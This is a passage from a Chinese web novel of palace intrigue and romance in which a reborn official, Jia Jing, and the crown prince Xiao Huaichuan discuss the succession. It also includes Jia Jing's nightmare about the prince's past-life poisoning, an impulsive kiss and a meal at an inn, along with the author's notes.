那是贾敬送给萧淮川的那颗砂金珠子。 一颗看似奇妙,实则毫无价值的珠子。 “这颗珠子……”贾敬盯着萧淮川的手腕,抿了抿唇,轻声问道,“你戴在手上了?” 萧淮川顺着贾敬的视线看去,见是那条编着砂金珠子的手绳,嘴角溢出一丝笑,“阿元送我的东西,自然要戴上。” “我送给阿元的玉牌,阿元不也随身带着吗?” 方才在贾敬在车内换衣服时,萧淮川便看见贾敬藏在官服,脖子上挂着的玉牌,正是他上次送的那枚。 一想起这件事,压在心底想要忘却的画面再次浮现,贾敬原本白皙的手腕化现成莹白的脖颈,光滑的肩头…… 萧淮川的手指情不自禁地摩挲着贾敬的手腕。 贾敬望着萧淮川的动作,原本微垂的桃花眼猛然睁大,被握着的那只手,更是忍不住地微微颤抖,指尖都泛起了红。 “淮哥,你……”贾敬心中颤动。 萧淮川听见贾敬的声音,下意识抬头,对上贾敬诧异的眼神,骤然回神,瞬间松开手,掩耳盗铃般将手所毁了袖子,藏到了桌下。 贾敬也收回自己的手,瞥过眼去,朝窗外看去,不再看萧淮川。 他不能看,也不敢看,他怕他亦忍不住,情难自禁。 贾敬知道萧淮川对自己并非无意,只是萧淮川现如今还看不清。 可是,他又怎么能让萧淮川看清呢? 萧淮川也一口闷掉了一大杯凉茶。 晚风顺着窗户吹进,微微凉意平复了两颗躁动的心。 贾敬收回目光,落在墙上的字画后,转眸问萧淮川:“皇后娘娘的整理的诗词和心得,真的被毁之一炬了吗?” 萧淮川沉声道:“我曾故意试探过他,主动提出要将母后的遗愿实现,可他像是被踩到尾巴的老鼠一般,狂躁大怒。” “被他烧在母后棺椁前的诗词心得,不过是我搜集来的废稿,母后的真正心血都被我收了起来。” 贾敬闻言,思忖了好久,认真地看着萧淮川,“淮哥,我们来完成皇后娘娘的遗愿吧。”【你现在阅读的是魔蝎小说 moxiexs】 60-70 第61章 萧淮川眸光沉沉, 微微颔首道:“自然,母后的诗稿不能就此埋没,它定会有重见天日的那天。” 他说完这句对文淑皇后的承诺后, 缓缓将视线看向一旁的贾敬,眼神之中透着一种难以言喻的深意。 萧淮川薄唇轻启,缓声道:“然而, 此时此刻并非是良机。” 贾敬点着头, 他明白, 只要天丰帝仍在位一天, 那么文淑皇后遗留下来的这份诗稿及心得便不能轻易拿出来示人。 只有待萧淮川坐上那个位置后,才有可能。 而贾敬重来一世的目的,就是助萧淮川渡过宫变一劫, 安稳坐上九五之尊的宝座。 就算让他会倾尽所有。 可头点到一半, 贾敬忽的顿住,萧淮川和他说这话,是什么意思? 他们都知晓天丰帝在的时候,这诗稿绝无重见天日的可能。 倘若天丰帝不在…… 思及方才萧淮川话中的暗示, 贾敬的眼皮控制不住地跳动着。他意有所感地对上萧淮川的眼眸,话在嘴里饶了几圈, 犹豫片刻, 还是试探着问出口: “淮哥, 莫非你的意思是……” 贾敬的话起了个头后, 便戛然而止, 反而是抬起手来朝上指了指。 他向上指的便是那处高位, 是那把象征尊荣和权势的龙椅。 贾敬定定地凝视着萧淮川, 紧张的心如狂奔的野兔, 不断跳跃, 与萧淮川如此直白地谈论这般敏感的话题,于他而言,尚属首次。 若是以往,但凡贾敬稍有提及此类话题之意,萧淮川多半会让他“慎言”,嘱咐他“不得妄言”。 然而这一次,萧淮川仅仅是稍稍垂眸,先是遮住了眼中的情绪。 他既没有急着回应贾敬的试探,也未曾多做任何解释。 沉默片刻后,他冷然开口道: “想当年,他为了登上那个九五之尊的位置,不惜巧言令色哄骗母后,最终还辜负母后,毁了她的心血,令母后郁郁而终。” 萧淮川眼眸眯起,“我如今身处储君这个位置,也早已经没有可退之路。” “他既然那么看重座下那把椅子,我便偏不如他的意。” 萧淮川说着,抬起眼眸,直直地望向贾敬,“阿元应该也感受出来,他这些年怪异的态度了吧?” 贾敬的手随着萧淮川的话,猛然一颤。他抿了抿唇,轻轻点头。 不仅贾敬看的出来,朝野上下许多人都能瞧得出来。 天丰帝既放心这位办事稳妥的太子,不断将手中的要事交于他处理,萧淮川储君的位置看似安如泰山。 可天丰帝又将其余成年皇子留在京中,不令其前往封地尊养,而是让他们进入朝堂,分担要事,以此来牵制萧淮川这位储君。 磨刀石磨刀,却一时让人分不清,谁是刀,谁是石。 这样的举动,也让许多有小心思的人蠢蠢欲动,总想要搏上一搏。 萧淮川冷笑:“我们这位圣上,自觉棋艺了得,普天之下,皆于他的棋盘之上,而他最看重的,便是他手中的权柄。” 贾敬默然,经历过上一世的贾敬,怎么可能不知道,这位天丰帝是多么宝贵他手中的权柄。 就算三皇子萧淮泽当上新帝,天丰帝成为太上皇后依旧不愿放下他手中的权力。 只是贾敬没想到,萧淮川居然真的将这些事看的真切。 贾敬眼眸里闪过的惊讶被萧淮川迅速捕捉, 萧淮川扯了扯嘴角,神情似笑非笑:“阿元不会以为,我当真与他父慈子孝吗?” “且不说他对母后的所作所为,你以为,他就真的愿意我待在这个位置上吗?” 天丰帝对这位长成的太子,早已经满怀忌惮,所以他顶着御史雪花般的奏疏也不给萧淮川赐婚。 无论哪位能配上太子妃之位的世家贵女,他都不愿意,他怕。 所以只能是天丰帝的母家,张家最是合适,有尊名却无实权,还天然站在天丰帝这里。 至于天丰帝为何不效仿太祖皇帝,直接从平民中选妃,这便要看他为萧淮洵和萧淮泽定下的亲事了。 一个是大理寺卿严峰,科举入翰林的清流代表;一个是皇室宗亲,老成王,用皇子的婚事将清流文人和宗亲稳稳绑在一起,又能助长这些人的野心,来牵制萧淮川。 这便是天丰帝想出的平衡和拉拢之法。 如此一来,太子妃的身份又怎么能比这二位王妃差呢? 话中讽刺意味十足,这话若是被其他人听见,定然是要大骂萧淮川大逆不道。 贾敬也没想到萧淮川会说着这样的狂言,愣怔地望着萧淮川,“淮哥今日怎么想起与我说这些。” 萧淮川想起自己前些日在贾敬床前许下的诺言,“我大概,想明白了一些事情。” 只有他强大起来,他才能护着想要护的人,才能完成母后未完成的遗愿。 原本他只想徐徐图之,慢慢布局,可眼下的情况,他有些等不及了。 而且,萧淮川总觉得,有一道莫名的情绪要从他的心中破土而出。 “阿元可是被我的话吓着了?”萧淮川凤眸轻轻一抬,望着贾敬。 贾敬摇了摇头,下意识稍稍抿了抿有些干涩的唇,轻声道:“淮哥以前,甚少与我说起这些。” 萧淮川见状,伸手拎过茶壶,倒了一杯茶,顺口答道:“阿元如今已经进入翰林院当值,不再是孩子了。” 他说着,视线又落在了贾敬身上的衣袍上,自己的衣袍穿在他的身上,也不显得大了。 不仅如此,这些时日发生的一些事,贾敬都处理的极好,让萧淮川不得不接受,跟在他身后护着的小孩,长大了。 “既然如此,我该让阿元知道,我如今是怎么样的一个处境。” 萧淮川将倒好的茶递到贾敬手中,手指轻轻与贾敬的指腹擦过,目光定定地看着贾敬。 被萧淮川这样看着,贾敬下意识捏紧了茶杯,杯壁传来的温度因紧紧贴着,带来微微刺痛。 贾敬眨了眨眼睛,抬眸便对上萧淮川灼热的目光。 萧淮川在等贾敬的回答。 他将他的处境说与了贾敬听,他的储君身份并不是如面上那般安如泰山,反而危机四伏。 贾敬端起茶杯,将萧淮川递给他的这杯茶一口气喝了个干净。 他放下茶杯,再次看向萧淮川,“淮哥都想好了?” 萧淮川目光移都未移,“我今日将这些告知阿元,自然都已经想好了。” 贾敬弯了弯眉眼,“既然淮哥都已经想好,我自然跟随。” 萧淮川虽然心中已经猜到贾敬会说什么,可真当亲耳听到后,他心中依旧是忍不住的喜悦。 他也怕贾敬知道他大逆不道的心思后,会怕的远离。 自古夺嫡之路,不成功,便成仁。 “当真?”萧淮川努力压制着声音里的颤抖。 贾敬被萧淮川的模样逗笑,“全京城,谁不知道我是你的人?” “我还有反悔的机会吗?” 萧淮川张了张嘴,刚要说什么,贾敬便又补了一句,将他的话打断。 “就算你逼我,我也不走,我还指望淮哥一直罩着我呢。” 贾敬似玩笑般说着话,他自己心里却清楚,这些话是几分真。 萧淮川深深吐出一口气,似是感慨道:“阿元,我没想到,我的坦白,会这样顺畅。” 贾敬手指轻轻抚摸着杯壁,垂眸,“淮哥也说了,我是你的知己。” 贾敬曾经一度以为,萧淮川因着他和天丰帝的父子情谊,看不透这些,因此也从未在萧淮川面前提过,怕萧淮川与他生出间隙。 即便他心中早已经提防起天丰帝来。 可今日萧淮川与他说的这些事,这些话,彻底颠覆了贾敬先前的认知。 萧淮川与天丰帝之间居然有这么多的隔阂和恩怨,萧淮川也早已经看出了天丰帝的心思。 只是萧淮川将这些事都藏的极深,贾敬自诩与萧淮川一起长大,最是亲密,可若是萧淮川今日不与他说,他一辈子也不会知道这些。 上辈子不就是吗? 贾敬瞳孔骤然一缩,是啊,上辈子。 萧淮川若是真的将这一切看的透彻,上一世又怎么会被那样拙劣的计谋害得身死? 他好似毫无防备,毫无挣扎。 这里面定然还有其他自己不知道的事情! 贾敬想要质问萧淮川,可这一世的萧淮川又怎么可能知道呢? 他眼中的惊慌太过明显,萧淮川压着眉眼关心问道: “阿元在担忧什么?” 贾敬心中已经乱成了一团,他迫切想要问,可这一世的萧淮川,怎么可能答的出来? 他慌忙的垂下头,只是随口道: “只是担心他对淮哥有什么不利。” 贾敬口中的“他”,不言而喻。 萧淮川嗤笑,答了句,“若是有可能,他定然想要废了我。” “奈何,他废不了。” “砰!” 一声巨响,茶杯被砰翻,于桌上掉落,砸在地上,碎了一地。 “阿元,你有没有事?” 萧淮川也顾不上刚才的话,眼眸紧张地看着贾敬。 贾敬嘴唇嚅嗫,手指颤抖,说不出话来。 萧淮川倾身看去,就对上贾敬那双满是恐惧的眼睛。 【作者有话要说】 这也算说开了吧……嘿嘿嘿 至于感情方面嘛,小萧这个窍,才冒了个土。,感谢各位小伙伴的追更呀,爱你们哦!!我会努力更新的!上一世结局的迷雾真相后面也要慢慢揭露了。 第62章 萧淮川的话勾起了贾敬内心最恐惧的回忆。他的脸色瞬间变得煞白, 下意识咬紧了颤抖的唇瓣。 贾敬的脑海里不由自主地浮现出上一世的情绪。 年底宫宴那日,萧淮川被陷害巫蛊之术,天丰帝大发雷霆, 将萧淮川囚禁于东宫之中,紧接着,他听到消息, 匆匆忙忙混进了东宫, 想和萧淮川见面, 弄清楚里面到底是怎么一回事, 他又需要怎么做,才能帮到萧淮川。 可谁知道,他刚进了东宫, 还未和萧淮川说上话, 神宫监的掌印太监王定便带了一群人冲进了东宫。 萧淮川怕贾敬被人发现,让身边的暗卫护着贾敬先躲入了柜中。 之后,贾敬便看着王定是怎么指鹿为马,将那能灼烧肺腑的丹药硬塞到萧淮川的嘴里, 扬言太子殿下沉迷于丹药,不幸薨逝。 贾敬只觉得眼前一片花白, 耳边轰鸣作响, 他看着萧淮川满脸痛苦的倒下, 身体抽搐后, 逐渐变得冰冷、僵硬。 萧淮川在疼, 他一定很疼! 贾敬拼命的地朝前伸出手去, 却什么也够不着, 抓不住, 他无能为力。 压抑在心中的悔恨和绝望瞬间涌出, 如潮水一般将贾敬彻底吞没,恐惧与痛苦席卷了贾敬全身,他用力捂着胸腔,里面是钻心止痛。 他救不了他! 贾敬浑身颤抖,身体不自觉地蜷缩,额头上如露珠般的冷汗层层冒出,浸湿了他鬓角的发丝。 “阿元,阿元,你怎么了?” 萧淮川见贾敬这样痛苦,焦急地呼唤着,长臂一揽,一把将浑身发抖、蜷缩身体的贾敬揽入怀中。 贾敬紧闭着双眼,面如金纸,他的手指紧紧抓着衣服的胸襟,力气大到手指骨节根根泛白,肉眼可见的痛苦。 萧淮川的手有些无措地悬着,不敢去触摸一直哆嗦的贾敬。 他紧紧拥着贾敬,连忙问着,“阿元,你可是胸口疼?” 难道是阿元先前从山崖下滚落的伤还未好全吗? 见贾敬好似听不见他在说什么,两人之间就仿佛隔了一层天幕,萧淮川的脸色更加难看。 萧淮川一手揽着贾敬的肩膀,一手环着贾敬的腰部,准备将人横抱起来去看大夫时,怀中的贾敬忽然剧烈挣扎起来,左冲右撞,萧淮川怕将贾敬摔着,只能将贾敬抱地更紧,顿在原地没有动。 “疼……好疼……”贾敬在满脸不安,在萧淮川怀里喃喃自语,声音里透出一丝哭腔,夹着痛苦。 “哪里疼?”萧淮川一听贾敬念叨着疼,凤眸里闪过焦急和心疼,“阿元,告诉我,哪里疼?” 贾敬好似听到了萧淮川的声音,缓缓睁开双眼,原本透亮的桃花眼此刻灰蒙蒙一片,没有往日的神采。 下一瞬,他原本四散的眸光聚在了萧淮川的脸上,贾敬松开扯着胸襟的手,一只手紧紧揪住萧淮川的衣衫,一只手抚摸上了萧淮川的脸。 他像是看不清,向前伸长了脖颈,凑到萧淮川的面前,鼻尖与萧淮川碰到了一起。 贾敬粗喘着气,温热湿润的气息喷洒在萧淮川的脸上,眼眸直直地盯着萧淮川瞧着。 萧淮川如今也顾不得这些,他和贾敬的身体大半都紧紧贴着,清晰的感受到贾敬发抖的身体。 以为贾敬疼,萧淮川的手轻轻地拍着贾敬的后背,眉头紧锁,眼中满是疼惜与担忧,嘴上则是安抚着贾敬,怕他再次乱动。 “阿元,告诉我,哪里疼?” “疼?”贾敬跟着萧淮川的话重复,就在萧淮川以为什么都问不出,又要抱起贾敬时,贾敬双手捧着萧淮川的脸,嘶哑着嗓子问道: “淮哥,你是不是很疼?” 萧淮川一愣:明明是阿元在喊疼,怎么眼下阿元却问他疼不疼?他又没有受伤。 他又仔细观察着贾敬的神情,脸依旧惨白,可他的身体好像没先前那般颤抖了。 萧淮川忽的想到了什么,贾敬现在的情况,更像是被梦魇魇住了。 贾敬见萧淮川沉默不答,眼睛里猛然增添了数分恐惧和无助,眼眶霎那间变得湿润,声音较之前尖利了许多,显得有些癫狂。 “淮哥,你是不是在怪我!” “你很疼吧……” 贾敬说着就要挣扎起来,萧淮川见状,连忙顺着贾敬的话轻声哄道:“我怎么可能怪阿元呢?” “我真的不疼,没事啊,阿元,你莫要害怕。” 可贾敬还沉浸在上一世的悲恸中,他丝毫不信,拼命摇着头,嘴中喃喃:“你怎么可能会不疼呢?” “好疼的……” 那颗丹药他也吃过,是烧心灼肺的疼痛,灼烧刺痛如火焰一般,从五脏六腑燃烧迅速蔓延到全身。 他被活活疼死了,萧淮川怎么可能会不疼呢? “你是不是在怪我,怪我那么无能……”贾敬的声音几近绝望。 萧淮川想不通贾敬为什么一定要这么执拗地认定自己会疼,但面对陷入梦魇中已经失控的贾敬,萧淮出只能不断地柔声安抚,“我真的没事,阿元。” “我不会因为任何事,怨怪阿元的。” 他不知道在贾敬耳畔说了多少遍,也终于起了效果。 贾敬不再挣扎,只是呆呆地愣怔住,他瞪大着双眼,直勾勾地凝视着萧淮川,迟疑地问道: “淮哥,你真的不疼吗?” 贾敬一边问着话,一边用修长略显苍白的手指在萧淮川的脸上轻轻摩挲着。 他的指尖从萧淮川的眼尾缓缓划过。 贾敬垂眸,惊奇地望着自己的手指,他又将手指放到萧淮川的眉心,顺着高挺的鼻梁一路向下,最终落在萧淮川的薄唇上。 他似乎仍觉得不够真实,竟下意识地轻轻揉搓了几下。 贾敬的动作近乎调情的亲昵动作,令萧淮川那双狭长的凤眸渐渐暗沉如墨,如一汪墨池,看不清情绪。照顾贾敬不对劲的情绪,萧淮川便也没有挣扎,就这么静静看着贾敬,任由他动作。 “没有……” 贾敬声音细如蚊蝇,不知道在说些什么,他将头再次凑近,试图将萧淮川脸上的每一处都看的再真切一些。 他的脸几乎要和萧淮川贴在了一起,两人的呼吸清晰可闻。 “真的没有……” 贾敬有些混沌的眼眸闪过一丝疑惑,喃喃出声。 怎么会没有血呢?那枚丹药吃下去,是会七窍流血的。 贾敬至今还记得萧淮川眼眸和嘴唇溢出了血的画面。 怎么什么都没有呢? “没有什么?”一直沉默不语的萧淮川开了口,声音低沉略带沙哑,目光沉沉地盯着与自己近如咫尺的贾敬。 贾敬并没有回答萧淮川,他稍稍偏了偏头,先是抬起眼皮迅速瞥了萧淮川一眼。 下一瞬,贾敬一个倾身,猛地撞上了萧淮川的唇。 萧淮川整个人一僵,凤眸骤然睁大,原本就略微急促的呼吸也在刹那间紊乱。 他的脑海一片空白,所有的感觉都集中在了唇上。 温热,柔软。 萧淮川环着贾敬的手臂此时也僵成了一片,微微颤抖。 贾敬紧紧捧着萧淮川的脸,牢牢贴着,感受着传来的温热之感,鼻尖萦绕着独属于萧淮川的清冷松香。 没有血腥味,不是冰冷僵硬。 贾敬闭着眼,头微微仰着,细长白皙的脖颈绷直,喉结微微滚动,上挑的眼尾悄悄滑落一滴泪。 泪水顺着脸颊落下。 萧淮川忽的尝到一丝咸味,目光定格在贾敬卷翘湿润的睫毛之上。 贾敬睁开眼,微微朝后仰去,看着萧淮川弯了弯眉眼,“真好,你还在。” 萧淮川无视自己剧烈跳动的心,张了张嘴,话还没说说出,就见贾敬又阖上了眼睛,身子瞬间软了下去。 “阿元!” · “公子,这位小公子是因为情绪一时受到刺激,被魇住了,心绪大起大伏,这才晕了过去。” “老夫为他喂下了一颗凝神丸,凝聚了心神,便没事了,不需要一刻钟,便能醒来。” 天珍阁小厮找来的大夫为贾敬诊断完,跟萧淮川叮嘱着。 萧淮川听着,眉头紧紧拧在了一起。 果然是被魇着了。 阿元什么时候有了这个毛病? 萧淮川又想起贾敬上次大病,也有心绪原因,一时脸色更加难看。 大夫看完诊,便背着药箱退下,小厮眼神害怕地看向萧淮川: “这位公子,您有事唤小的便成,小的先出去。” 说完,小厮便脚步飞快的离开了这间雅舍,谁也不知道,他刚刚听到响声进来,看萧淮川的黑脸,和晕倒的贾敬白脸,吓都要吓死了。 闲杂人等一走,雅间又恢复了安静。 萧淮川的心却平静不下来,他坐在贾敬的床边,目光不由自主的落在贾敬殷红的唇上。 贾敬的脸色依旧白着,就更显得那唇色红的吓人。 而这唇刚刚还吻过自己…… 萧淮川的手下意识地抚摸上自己的唇,垂着眼眸不知道在想什么。 “阿元……” 贾敬睁开眼时,脑子有些发懵,他的记忆好像出现了断片,就跟喝了酒一般。 他摇了摇有些发懵的脑袋,转头便看见,萧淮川一动不动地看着自己。 “淮哥?” 【作者有话要说】 哈哈哈哈阿元强吻完人,就不认了! 第63章 贾敬唤了一声萧淮川, 撑着身子就要坐起。 “醒了?” 萧淮川起身弯腰,自然的伸手扶着贾敬坐好,端详着贾敬的脸色, 问道:“有没有哪里不舒服?” 贾敬眨了眨眼睛,睡了一觉,一身轻松, 倒是没有哪里不舒服的。 可他自己清楚, 这明显不对劲。 他先前不是坐着和萧淮川说事情吗?怎么眨眼间自己就躺在了床上? 贾敬努力回忆着, 最后的记忆也仅停留在…… 他下意识地朝前方桌案看去, 那里原本碎了一地的杯子碎片早已经被人清理干净。 贾敬的记忆也仅停留在,他因萧淮川的话想到了上一世,不小心碰翻了杯子。 然后呢? 后来又发生了什么? 贾敬的心越跳越快, 心中忐忑, 下意识看向萧淮川:“淮哥,我这是怎么了。” 他眼眸紧紧盯着萧淮川,生怕这段断片的记忆里,自己泄露了什么。 萧淮川手指微微蜷缩, 摩挲着手中温热的砂金珠子,抬眸对上贾敬紧张的眼眸, 将情况说与他听, “大夫说你心绪不稳, 一时受到了刺激, 魇住了。” 贾敬倒是不意外自己被魇住的事情。 他轻垂眉眼, 望着被面。于他而言, 那些本就是过不去的梦魇。他心中的这道心魔有多重, 他自己心里清楚。 然而他现在怕的是, 在他陷入梦魇的时候, 他有没有说了什么不得了的事情。 贾敬藏在被子下的手慢慢捏紧杯子,想着怎么试探萧淮川,套一些话出来。 就在贾敬想着该怎么开口时,萧淮川见他低垂着头沉默不语,又想起先前贾敬那幅陷入梦魇神志不清的模样,忍不住开口: “阿元,我观你这些日子,心思太重,人都消瘦了许多。” “你有何心事,莫要再这样藏在心里。” 萧淮川的眉间也染上了一丝愁死,阿元年岁不大,心思怎么愈发沉了。 刚才天珍阁的大夫也和萧淮川说了,心思重的一些危害。 心思重容易导致肝郁,心又主神明,心思重会损耗心气心血。 这并不是什么好事。 贾敬:“淮哥,我没事……” 话刚开口便被萧淮川打断: “阿元,你难道连我都不相信了吗?你的心事,都能和我说,” 贾敬扯了扯嘴角,微垂的眼眸里滑过一丝苦涩,他的心事哪里能跟萧淮川说? 下一瞬,他的身体顿了顿,听萧淮川这话的意思,他并不知道自己忧心的是什么。 看来,他当时应当是没说什么。 贾敬想了一圈,试探的开口问道:“淮哥,我刚刚魇住时,没有口不择言吧?” 他稍稍抬眼,望着萧淮川,眼神有些闪烁。 萧淮川见贾敬这幅模样,心思微动,目光下意识地盯在了贾敬的唇上。 那里已经不如先前那般殷红了。 贾敬本就心虚,被萧淮川这样盯着,如坐针毡,他下意识舔了舔略显干涩的唇, 他这一举动,让萧淮川眼眸眯起,轻声反问道:“阿元,你不记得了?” 萧淮川看向贾敬的目光,也藏着一份试探。 阿元这么问,是真的不记得了,还是记得却故意装作不记得。 其实,在贾敬昏睡的时候,萧淮川心中便在纠结。待贾敬醒来后,他们刚才的那个意外,该如何收场。 萧淮川心中预想了好几种劝导贾敬的话,毕竟贾敬脸皮薄,他这边要给足了台阶,贾敬才不会介意。 至于他自己,对于贾敬,他向来是不计较的。 而胸膛里那颗不平静的心,萧淮川只能归结于,事发突然,谁也没想到会出这样的事情。 贾敬并未注意到萧淮川的神情,只是听了萧淮川的问话,心忍不住地咯噔一下,他不会真的说了什么吧? 手下的被子已经被贾敬捏的皱成了酸菜样。 他故作有些难受,眉头轻轻蹙起,抬手揉了揉太阳穴,“稍稍一想,便觉得头如针扎一般,着实想不起来发生了什么。” 贾敬难受的模样不似作假,萧淮川攥紧了手中的砂金珠子,定定地看了贾敬许久,深吸一口气道: “你当真什么都不记得了?” 他的声音微微发颤,里面透着一丝微不可察的期待,连萧淮川自己都未发觉。 贾敬只觉得萧淮川的态度有些奇怪,可眼下,就算他真的说了什么,他也不能认下,还不如拿梦魇当借口,将一切当做他的胡言胡语。 他目光茫然地看向萧淮川,摇了摇头,“我就记得脑袋昏昏沉沉,之后便是一片空白,我没说什么胡话吧?” 贾敬说这话,便撞上萧淮川那双幽深难测的眼眸,心底莫名一突,硬着头皮道: “我若是真的胡言胡语,冒犯了淮哥,还望淮哥不用跟我计较。” 萧淮川听着贾敬的话,唇微微张着,想要说些什么,可话哽在喉头,什么也说不出来。 他要说什么? 说阿元当真胡言胡语,甚至胡乱动口亲了他,冒犯了他? 不,不能说。 阿元不记得,这是最好的事情。 这样他便不用为他强吻自己的事情而感到为难和不自在,自己也不用想着话去开导,皆大欢喜。 阿元这些日心思沉重,不该因为这样的事,再增添烦恼,累及心神。 眼下状况,一切都省了。 就将那间突发的意外当做是一阵风,吹过便散了,不留任何痕迹。 本就该如此,一切都是原先的模样。 可萧淮川脑中是这么想的,心里却顿觉一阵阵寒意,丝丝缕缕地朝外冒着。 发生过的事情,怎么会那么容易遗忘呢? 萧淮川现在都记得那一瞬间的温热触感,贴上他唇的那一刻,蔓延的滚烫如燎原的火焰,几乎要将他的理智焚烧殆尽。 最终萧淮川咬破舌尖,刺痛刺激着他有些恍然的心神,涩然开口道: “阿元放宽心,没有这样的事。” 贾敬见萧淮川紧绷着的脸,语气僵硬,非但没有安心,心反而不禁提了起来,萧淮川显得太过古怪,他不会真的做了什么? 他不禁追问:“淮哥,你脸色不太好,我真的没胡说什么?你别瞒着我。” 贾敬额角此时是真的发疼,他真的什么也想不起来。 萧淮川稍稍偏过头,躲避着贾敬的目光,他心中五味杂陈,心虚酸涩。他深吸一口气,沉声道: “能有什么事?” “就算有什么,能比得上我今日与你说的话?” 他今日和贾敬坦白这些话,若是被别人知道,那真的是大逆不道了。 萧淮川转眸看了回来,手伸出后,顿在半空,最终还是径直伸过去,轻轻抚摸了贾敬的脑袋, “别怕,有我在,” “我只要阿元好好的。” 贾敬悬着的心终究是落了下来,见萧淮川还依旧站在他面前,一如既往地关心着他,想来应该也没有什么大事。 “咕……” 一放松下来,贾敬便感到了饥肠辘辘,适时一道肚鸣声响起,他讪讪一笑,“饿了。” 萧淮川看了贾敬一眼,“天都黑了,能不饿吗?” 贾敬睡了一觉,又服用了那大夫的安神丹,身体早已经没什么不适了,直接起身下了床。 萧淮川则是唤人开始上菜,没一会儿,菜便全部上齐了。 “这天珍阁还真的奇怪,这雅间瞧着,不仅能用膳,还能歇息,甚至还能看书作画。” 贾敬坐回用膳的地方,有些稀奇地看着自己刚刚躺过的软榻,感慨道。 萧淮川递给贾敬一碗汤,“他这里本就能住人。” 贾敬接过汤却没急着喝,而是问道:“淮哥真的是第一次来这里吗?” 萧淮川闻言,顿了顿,抬眸看着贾敬,“确实不是第一次。” 贾敬了然,这便说得通了。 贾敬又问:“淮哥和你外……这天珍阁的幕后东家见过吗?” 萧淮川沉默,摇了摇头。 贾敬抿了抿唇,心中都明白了。萧淮川想来没少来这里,目的自然是他那位未曾见过面的外祖。 萧淮川亲缘淡薄,难得见他如此在乎一个人。 可目前看来,贺家这位大儒心肠倒是硬,一次未曾露过面,当真的又冷又狠。 贾敬可不信,他会不知道萧淮川的身份,会不知道萧淮川频繁来这里的目的。 这样想着,贾敬脸色便有些不好了。萧淮川见状,自然清楚贾敬是为他不忿,轻笑出声: “不必如此。” “我如今能安稳坐在这个位置上,何尝不是沾了他的光?” 即便文淑皇后面上与豫州贺家没有任何关系,可斩不断她与贺家的血缘,也斩不断萧淮川与贺家的血缘。 萧淮川如今的太子之位,身后站着的是贺家,就算天丰帝想要废,贺家也不会答应。 他们不以皇后母家、太子外家出面,便依照他们在天下文人中的地位,按照祖宗礼法,立嫡立长,萧淮川的位置也不会动摇。 贾敬显然明白了萧淮川的意思,可因此心中疑虑也更加多了。 萧淮川的位置稳固,因此必须犯下大罪,才能有废太子的理由,譬如,上一世的巫蛊之祸。 贾敬的眼里透着担忧和惧意,“淮哥,你要万般小心。” 萧淮川既然来跟贾敬坦白这些,便是心中有了成算,对着贾敬郑重道: “阿元放心,我心中有把握。” 萧淮川站起身,走至床前,颔首看着天上那轮明月,眼里难得闪过一丝倨傲,“除非我自己不想要这个位置,不然,没有人能将我从这位置上,拉下来。” 这番话如惊雷一般在贾敬耳边响起,他猛地转头看向萧淮川的背影,眼神里藏不住的震惊和复杂。 什么叫,他自己不想要? 【作者有话要说】 诶嘿,听出小萧的话中意思没有? 以及,小萧就嘴硬吧,身体诚实的很。 第64章 贾敬涩然开口:“淮哥, 你会不想要吗?” 他的心里早已经因为萧淮川的话掀起了滔天巨浪。 贾敬手指紧紧抓着桌角,脸色愈加难看。 若是萧淮川真的这般有把握,那么上一世, 面对那个漏洞百出的巫蛊之术陷害,他不可能没有任何防备和抵抗。 也不可能那么简单的就让王定得手。 除非,萧淮川是故意的。 就如萧淮川刚刚所说, 他自己不想要了…… 贾敬脑中再次回闪上一世最后萧淮川死前的模样, 他朝自己露出的那抹笑, 是安抚, 是释然,更是解脱。 萧淮川不想活了,太子之位他也不想要了, 他的所作所为, 是为自毁。 贾敬呼吸控制不住的急促起来,眼眸怔怔地望着站在窗台边的萧淮川。 萧淮川听到贾敬的问话,讶然转身,疑惑反问:“阿元, 你怎么会这样问?” 自古以来,储君之位便最不好坐, 这也是一条没有回头的路。 不想要?是可以。 可他不想要这位置的代价, 便是万劫不复, 粉身碎骨。 显然这样的后果和下场, 贾敬也是心知肚明。 贾敬眼眸一眨不眨, 眼里带着执拗, 再次问道:“你会不想要吗?” “为何会不想要?” 他只求一个答案, 可上一世的答案与真相早已经无处探寻, 他只能问眼前的这位。 贾敬的眼神里藏着太多的情绪, 复杂到萧淮川见了都一时愣住。 很快,萧淮川反应过来,几步走到贾敬面前。 贾敬一动不动,等待着萧淮川的回答。 萧淮川只当贾敬可能是被他刚刚说的话吓到了,也知夺嫡之路如履薄冰,贾敬许是心中会有不安。 “阿元,我还要护着你呢,怎么可能会做那样傻的事情?” 萧淮川一把捞过贾敬的手,入手的冰凉,让萧淮川直接将贾敬的手包住,用力地搓了搓。 这些时日早已经让萧淮川看清楚,他只有坐上那至高的位置,才能实现他对阿元的承诺,才能远远久久地护着阿元。 贾敬嘴唇微微颤动,好些话都堵在喉中。 可是萧淮川上一世就是做了这样的傻事。 他有太多的疑惑想问,可问出来,无人能为他解答。 贾敬半晌才挤出一句:“淮哥,这是你说的,你要护着我。” “你必须要护着我!” 他一字一顿,似杜鹃啼血。 萧淮川微微一怔,旋即轻轻一笑,“答应阿元的,我定会做到。” “你莫要多想,放宽心。” 萧淮川长至如今这个年岁,岂能轻易在这里折了去。 再说,若真到那般绝境,他也定会安顿好阿元。 贾敬望着神情从容的萧淮川,眼眶却泛着酸涩,他深吸一口气,压下心中翻涌的情绪,重重点头,被萧淮川握着的手贾敬也不自觉反握回去,感受着那能握住的实在。 他还在,就这么还站在他的面前。 贾敬轻敛的眉眼,眼眸沉沉,那些没人能回答的疑窦,他会自己去找到真相。 萧淮川望着贾敬的模样,无奈的叹了口气,另一只手揉了揉贾敬的脑袋,“好了,别想那么多了,快来用膳。” 贾敬再次朝萧淮川瞧去,忆起萧淮川先前说那番话时的自信,他努力收拾好心情。 这一次,一定会不一样的。 两人用完膳,外面月亮已经中悬,贾敬这才想起宋子虚提到的东市书市,简单的和萧淮川说了书市来历后,语气有些遗憾道: “想来这时候,书市早已经闭市了吧。” 大乾的夜市向来很热闹,但这应当是不包括书肆,晚上点灯可比不上白日明亮的天光,点灯还平白增加费用,许多书肆早早便会关铺。 谁知旁边送客的小厮笑着道:“这位客官,您这次倒是想岔了。” “这东市的书市,小的了解一些,这些日子可都摆到夜里呢。” 贾敬诧异挑眉,不禁慨叹:“这些个书肆为了生意都做到这般了?” 心中也对这间刚开的书肆起了浓厚的兴趣,到底是多么强悍的实力,让其他书肆不得不联手打擂台做书市,甚至于晚上耗费着大量油灯,也要摆摊,搅得京城的书肆行当波谲云诡。 小厮立刻接话道:“您有所不知,这些日子,东市的书市可热闹哩!咱们这边有许多客人用完膳,都会去逛逛。” 